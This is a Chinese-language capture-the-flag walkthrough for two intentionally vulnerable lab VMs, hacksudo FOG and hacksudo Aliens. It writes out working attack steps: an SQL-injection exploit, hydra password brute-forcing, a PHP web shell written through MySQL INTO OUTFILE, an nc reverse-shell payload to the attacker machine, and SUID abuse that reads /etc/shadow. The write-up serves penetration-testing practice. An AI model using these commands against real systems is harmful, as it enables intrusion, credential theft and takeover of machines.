文件名:hacksudo-FOG.zip

文件大小:1.3GB

下载地址:

MD5: FE8360E56637FE0D278EF2C38F15B969

SHA1: 31B1210F45C74D3062A0EDD5677C6BB770EB26AF

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机FOG和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现开放了很多端口,访问主页源码中隐藏了一个index1.html:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.112 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,index1.html提示我们一个音频文件提取工具:

1
gobuster dir -u http://192.168.56.112/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

image-

CMS漏洞利用

1.我们将提示的解析工具下载下来,尝试用工具解析index.html页的smoke.mp4,但不是wav格式没有信息:

1
2
3
4
git clone https://github.com/hacksudo/SoundStegno.git,获取工具
cd SoundStegno
wget http://192.168.56.112/smoke.mp4
python3 ExWave.py -f smoke.mp4

image-

2.通过之前的目录扫描,我们发现有cms页面和一个dict.txt文件:

image-

image-

3.将dict.txt文件下载,很可能是密码字典,再去查询cms的漏洞,发现是2.2.5版本,有未经身份验证的SQL注入漏洞可以使用:

1
2
wget http://192.168.56.112/dict.txt
whatweb http://192.168.56.112/cms,查看框架版本

image-

1
python3 cmsmadesimple-exploit.py -u http://192.168.56.112/cms,漏洞利用程序获取见:https://gist.github.com/kriss-u/321f0418778697e2ec919f04664ceb4b

image-

4.知晓了用户名,写入user,可以尝试使用hydra爆破密码,登录FTP:

1
hydra -L user -P dict.txt 192.168.56.112 ftp

image-

FTP登录,提取音频隐藏信息

1.可以使用hacksudo用户FTP登录,获取到第一个flag,即flag1.txt:

image-

image-

2.进入hacksudo_ISRO_bak目录,发现secr3tSteg.zip文件,需要密码,我们用zip2john配合john获得密码:

image-

1
zip2john secr3tSteg.zip >> hash.txt

image-

image-

3.解压得到的hacksudoSTEGNO.wav可以使用SoundStegno进行解密:

1
python3 ExWave.py -f hacksudoSTEGNO.wav

image-

4.根据之前index1.html页源码的提示,需要用到caesar-cipher解密,我们解密这个数据可以得到一个用户名密码,这个用户与密码可用于登录cms后台:

image-

image-

文件上传漏洞GETSHELL

1.进入cms后台的content页,可以上传phtml文件后缀的webshell,这里我们使用kali自带的webshell进行修改后上传:

1
vim /usr/share/webshells/php/php-reverse-shell.php

image-

image-

2.kali开启对应端口监听,触发webshell,利用python生成交互式shell:

1
python3 -c 'import pty; pty.spawn("/bin/bash");'

image-

3.在/var/www目录下能发现第二个flag,即flag2.txt:

image-

初步提权,SSH登录

1.查看具有root权限的suid文件,尝试提权,发现/usr/bin/look:

1
find / -perm -u=s -type f 2>/dev/null

image-

image-

2.通过在https://gtfobins.github.io/上查找发现可以使用look查看具有root权限的文件,则用look查看/etc/shadow可以发现root及isro用户的密码hash,使用john解一下:

image-

image-

image-

3.爆出isro用户密码为qwerty,可以进行ssh登录,然后在目录下查看到user.txt:

image-

root提权

1.我们进入/fog目录下,发现有一个fog文件属主为root,查看不出来,但是执行后与python2.7相关联,则可以通过python进行root提权:

image-

image-

2.在/root目录下的root.txt即是我们需要的最后一个flag:

image-

Hacksudo Aliens

Hacksudo:Aliens

一、基本信息

名称:hacksudo:aliens

发布日期:2021.4.4

作者:Vishal Waghmare

系列:hacksudo

二、靶机简介

Flags:

root:/root/root.txt

难度:中等

三、文件信息

文件名:HacksudoAliens.zip

文件大小:2.3GB

下载地址:

MD5: DEFA809B70DADCC72011AAFBB03D1FF6

SHA1: 6E68D6D06692D2C3ACBC1E1C3AEA271A226CD24D

四、镜像信息

格式:Virtual Machine (Virtualbox - OVA)

操作系统:Linux(debain)

五、网络信息

DHCP服务:可用

IP地址:自动分配

六、环境配置

1.将靶机Aliens和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:

image-

七、攻略步骤

信息探测

1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:

1
ifconfig,查看kali分配到的ip

image-

1
nmap -sP 192.168.56.0/24,扫描靶机ip

image-

2.再进行端口扫描,发现开放22,80,9000端口,访问主页,源码内有没有过多提示:

1
nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.110 | tee nmapscan,端口扫描

image-

image-

3.最后再进行一下目录扫描,两个目录,访问/backup目录,下面mysql.bak文件内有用户和密码:

1
gobuster dir -u http://192.168.56.110/ -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt,目录扫描

image-

image-

image-

登录phpadmin,写入shell

1.因为端口扫描到了9000端口是phpadmin的服务,利用刚才mysql.bak内的账号密码可成功登录:

image-

2.可以查看secure_file_priv的值为空,mysql可读可写,可以先用一句话php木马尝试,这里直接写入shell,在kali同步开启监听:

1
SHOW VARIABLES LIKE "secure_file_priv";

image-

1
SELECT “<?php system($_GET[‘cmd’]);?>” INTO OUTFILE “/var/www/html/alien.php”,一句话木马

image-

1
http://192.168.56.110/alien.php?cmd=nc%20192.168.56.102%20%208989%20%20-e%20/bin/bash,浏览器输入payload,kali同步开启8989端口监听

image-

root权限文件查询,准备提权

1.查找具有root权限的suid文件,进行suid提权:

1
find / -perm -u=s -type f 2>/dev/null

image-

2.访问https://gtfobins.github.io/,对查到的内容进行比对尝试提权:

image-

1
2
LFILE=/etc/shadow
date -f $LFILE

image-

3.很明显得到的数据是hacksudo及其密码,将字符串拷贝到alien.txt,我们利用john对其解密:

image-

root提权

1.进入hacksudo用户,再次查看具有root权限的suid文件,尝试提权:

image-

2.查询到cpulimit文件,再去https://gtfobins.github.io/查询提权方式:

image-

image-

3.成功登录root用户,在/root目录下发现flag,root.txt:

image-